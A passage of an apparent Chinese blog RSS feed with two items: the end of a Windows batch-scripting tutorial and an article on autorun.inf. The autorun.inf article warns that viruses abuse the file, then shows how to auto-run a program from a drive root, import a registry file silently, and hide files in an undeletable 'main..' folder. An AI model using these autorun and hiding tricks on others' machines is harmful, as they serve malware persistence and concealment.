/?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　for /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　shift /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　call /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　其他需要的常用命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　type /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　find /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　findstr /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　copy /?&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　下面将所有上面的帮助输出到一个文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo ver &gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　ver &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo cmd /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　cmd /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo rem /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　rem /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo if /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　if /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo goto /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　goto /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo for /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　for /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo shift /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　shift /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo call /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　call /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo type /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　type /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo find /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　find /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo findstr /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　findstr /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo copy /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　copy /? &gt;&gt;tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　type tmp.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　#############################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2. 环境变量的概念&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　#############################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:Program Files&gt;set&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　ALLUSERSPROFILE=C:Documents and SettingsAll Users&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　CommonProgramFiles=C:Program FilesCommon Files&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　COMPUTERNAME=FIRST&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　ComSpec=C:WINNTsystem32cmd.exe&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　NUMBER_OF_PROCESSORS=1&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　OS=Windows_NT&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　Os2LibPath=C:WINNTsystem32os2dll;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　PROCESSOR_ARCHITECTURE=x86&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　PROCESSOR_LEVEL=6&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　PROCESSOR_REVISION=0605&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　ProgramFiles=C:Program Files&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　PROMPT=$P$G&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　SystemDrive=C:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　SystemRoot=C:WINNT&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　TEMP=C:WINNTTEMP&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　TMP=C:WINNTTEMP&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　USERPROFILE=C:Documents and SettingsDefault User&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　windir=C:WINNT&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%windir%system32. 这个目录里面.&nbsp;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 般就可以自动搜索到.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　语法: copy mychenxu.exe %windir%system32.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　使用点(.) 便于一目了然&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　对环境变量的使用(英文模式,半角)双引号&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%windir% 变量&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%%windir%% 二次变量.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　我们常用的还有&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%temp% 临时文件目录&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%windir% 系统目录&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%errorlevel% 退出代码&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　输出文件到临时文件目录里面.这样便于当前目录整洁.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　对有空格的参数. 你应该学会使用双引号(&quot;&quot;) 来表示比如对porgram file文件夹操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;dir p*&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C: 的目录&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2000-09-02 11:47 2,164 Pdos.DEF&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1999-01-03 00:47 &lt;DIR&gt; Program Files&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1 个文件 2,164 字节&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1 个目录 1,505,997,824 可用字节&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;cd pro*&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:Program Files&gt;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;cd &quot;Program Files&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:Program Files&gt;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　############################################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3. 内置的特殊符号(实际使用中间注意避开)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　############################################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　微软里面内置了下列字符不能够在创建的文件名中间使用&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　con nul aux / &#124; &#124;&#124; &amp;&amp; ^ &gt; &lt; *&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　You can use most characters as variable values, including white space. If you use the special characters &lt;, &gt;, &#124;, &amp;, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号&quot;&quot;了)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　To create the variable value new&amp;name, type:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　set varname=new^&amp;name&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　To create the variable value &quot;new&amp;name&quot;, type:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　set varname=&quot;new&amp;name&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　The ampersand (&amp;), pipe (&#124;), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　find &quot;Pacific Rim&quot; &lt; trade.txt &gt; nwtrade.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF EXIST filename. (del filename.) ELSE echo filename. missing&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　&gt; 创建一个文件&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　&gt;&gt; 追加到一个文件后面&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　^ 对特殊符号( &gt; &lt; &amp;)的前导字符. 第一个只是显示aaa 第二个输出文件bbb&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo 123456 ^&gt; aaa&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo 1231231 &gt; bbb&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　() 包含命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　(echo aa &amp; echo bb)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　, 和空格一样的缺省分隔符号.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　; 注释,表示后面为注释&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　: 标号作用&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　&#124; 管道操作&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　&amp; Usage：第一条命令 &amp; 第二条命令 &#091;&amp; 第三条命令...&#093;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　用这种方法可以同时执行多条命令，而不管命令是否执行成功&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　dir c:*.exe &amp; dir d:*.exe &amp; dir e:*.exe&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　&amp;&amp; Usage：第一条命令 &amp;&amp; 第二条命令 &#091;&amp;&amp; 第三条命令...&#093;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　&#124;&#124; Usage：第一条命令 &#124;&#124; 第二条命令 &#091;&#124;&#124; 第三条命令...&#093;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　常用语法格式&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &#091;NOT&#093; ERRORLEVEL number command para1 para2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &#091;NNOT&#093; string1==string2 command para1 para2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &#091;NOT&#093; EXIST filename command para1 para2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF EXIST filename command para1 para2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF NOT EXIST filename command para1 para2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &quot;%1&quot;==&quot;&quot; goto END&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF &quot;%1&quot;==&quot;net&quot; goto NET&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF NOT &quot;%2&quot;==&quot;net&quot; goto OTHER&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF ERRORLEVEL 1 command para1 para2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　IF NOT ERRORLEVEL 1 command para1 para2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　FOR /L %%i IN (start,step,end) DO command &#091;command-parameters&#093; %%i&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　FOR /F &quot;eol=; tokens=2,3* delims=, &quot; %i in (myfile.txt) do echo %i %j %k&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　按照字母顺序 ijklmnopq依次取参数.&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　eol=c - 指一个行注释字符的结尾(就一个)&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　skip=n - 指在文件开始时忽略的行数。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　########################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　4. 简单批处理文件概念&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　########################&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo This is test &gt; a.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　type a.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo This is test 11111 &gt;&gt; a.tx]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=760]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:57:40 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[inf文件的配置]]></title>
  <description><![CDATA[<span style="font-size: 13px;">见到这个东西你应该立即删掉，99.9%是病毒自启动用的，不过你先杀毒后再删，因为现在的病毒都会保护autorun.inf不被删掉，即便删掉，还会再来。 了解Autorun.inf 什么是Autorun.inf文件呢，严格的说它是一个必须存放在驱动器根目录下的有一定格式的文本文件，它是由一个或多个“节”组成，每个“节”民须以节名作为开始的一行，节名必须用中括号&#091;&#093;括起来，节名之下则为本节中的命令。 其中Autorun.inf一共支持三个节，它们分虽为&#091;autorun&#093;、&#091;autorun.alpha&#093;、&#091;Deviceinstall&#093;，其中只有&#091;autorun&#093;是必须存在的。 实例应用 现在我们就来以实例的方式来详细了解Autorun.inf文件到底有哪些庆用。 (1)自动运行 自动运行在前文有所接触，即使用Open命令进行，要注意的是“Open=”指定的文件必须为可执行文件，例如com、exe、bat；如果指定的文件不在根目录下，则需要指定其路径，例如Open=soft1.bat，这就表示运行光盘根目录下soft文件夹中的1.bat文件。 小提示：如果要运行的文件不是com、exe、bat，那么也没关系，我们可以手工编写一个bat文件，将要打开的文件所在路径和文件名添加在bat之中即可。 (2)自定义光盘图标 在Autorun节中，还有一个比较好玩的命令行，那就是icon，一般情况下指定的图标文件可以是ico和bmp格式，当然也可以是包含图标资源的 exe和dll文件，如果exe和dll文件中包含多个图标文件，那么就必须指定希望使用的图标索引号，要注意的是图标索引号是从0开始编号的，例如 “icon=icon.dll,1”，那么就表示将使用icon.dll文件中的第二个图标。 小提示：icon不仅可以应用在光盘上，我们也可以将该命令编写进autorun.inf文件放置在硬盘根目录自定义硬盘的图标。 (3)自定义卷标 虽然说光盘刻录软件中一般都可以设置光盘卷标，但是如果要批量刻录的话，那就会显的很麻烦，不如使用命令定义的快捷。 定义卷标是利用Label命令来完成的，它的语法和Open、Icon是一样的，在这里不再多述。 (4)添加右键菜单 当我们右击刻录的光盘时，经常会在右键菜单中发现一个自动播放的选项，其实这主要是利用Autorun.inf中的Open命令来实现的，其实我们还可以根据需要添加其它菜单命令。 添加其它菜单命令的格式是“Shell&lt;菜单命令名&gt;Command=&lt;要执行的文件&gt;”，例如我们编写了一个文件内容如下： &#091;autorun&#093; shell打开记事本command=notepad.exe 这样当我们将该文件刻录进光盘时，右击光盘时在弹出菜单中就会有一个“打开记事本”的命令了。 (5)改变缺省操作 一般情况下应用autorun.inf的光盘双击缺省操作大多是自动播放，即执行open后面的文件操作。其实我们也可以改变这种情况，而这同样是利用shell命令来完成。 我们先来看一个典型双击安装软件的示例： &#091;autorun&#093; shellsetupcommand=softsetup.exe shell=setup 要看懂这段语句，我们可以从下向上看，当我们双击光盘时，将调用最后一句Shell=setup，因为设置了该句，那么双击时将查找对应Shell setupcommand后面指定的命令来作为默认操作，因此默认的操作将变成执行光盘根目录下的soft文件夹中的setup.exe文件。 shell1=天若有情天亦老 shell1command=notepad.exe ok.txt &#091;AutoRun&#093; Open=regedit/s Share.reg //加/s参数是为了导入时不会显示任何信息 在这里主要介绍的是autorun节内容的应用，而对于autorun.alpha来说我们很少用到，而Deviceinstall只能在Windows XP下使用，可以利用它指定硬件向导进行递归搜索的子目录。 理论基础 经常使用光盘的朋友都知道，有很多光盘放入光驱就会自动运行，它们是怎么做的呢？光盘一放入光驱就会自动被执行，主要依靠两个文件，一是光盘上的AutoRun.inf文件，另一个是操作系统本身的系统文件之一的Cdvsd.vxd。Cdvsd.vxd会随时侦测光驱中是否有放入光盘的动作，如果有的话，便开始寻找光盘根目录下的AutoRun.inf文件。如果存在AutoRun.inf文件则执行它里面的预设程序。 AutoRun.inf不光能让光盘自动运行程序，也能让硬盘自动运行程序，方法很简单，先打开记事本，然后用鼠标右键点击该文件，在弹出菜单中选择“重命名”，将其改名为AutoRun.inf，在AutoRun.inf中键入以下内容： &#091;AutoRun&#093; //表示AutoRun部分开始，必须输入 Icon=C:C.ico //给C盘一个个性化的盘符图标C.ico Open=C:1.exe //指定要运行程序的路径和名称，在此为C盘下的1.exe 保存该文件，按F5刷新桌面，再看“我的电脑”中的该盘符（在此为C盘），你会发现它的磁盘图标变了，双击进入C盘，还会自动播放C盘下的1.exe文件！ 解释一下：“&#091;AutoRun&#093;”行是必须的固定格式，“Icon”行对应的是图标文件，“C:C.ico”为图标文件路径和文件名，你在输入时可以将它改为你的图片文件所在路径和文件名。另外，“.ico”为图标文件的扩展名，如果你手头上没有这类文件，可以用看图软件ACDSee将其他格式的软件转换为ico格式，或者找到一个后缀名为BMP的文件，将它直接改名为ICO文件即可。 你也可以进行免疫 建立autorun.inf文件夹，使病毒不能建立autorun.inf文件 建名为autorun.inf的文件夹，在里面用DOS建名为main..的文件夹 注：建名为main..的文件夹的方法。 在“运行”下输入cmd,之后就到了命令提示符下，输入 H:（回车），输入cd autorun.inf（回车）,输入md main..（回车） 若想删除mian..文件夹，在“运行”下输入cmd,之后就到了命令提示符下，输入 H:（回车），输入cd autorun.inf（回车）,输入rd main..（回车） 当然，你还可以用它来保存不想被别人看的文件，在“运行”下输入H:autorun.infmain..（回车）,可以打开main..文件夹中的内容。</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=759]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:56:57 +0800]]></pubDate>
</item>
<item>
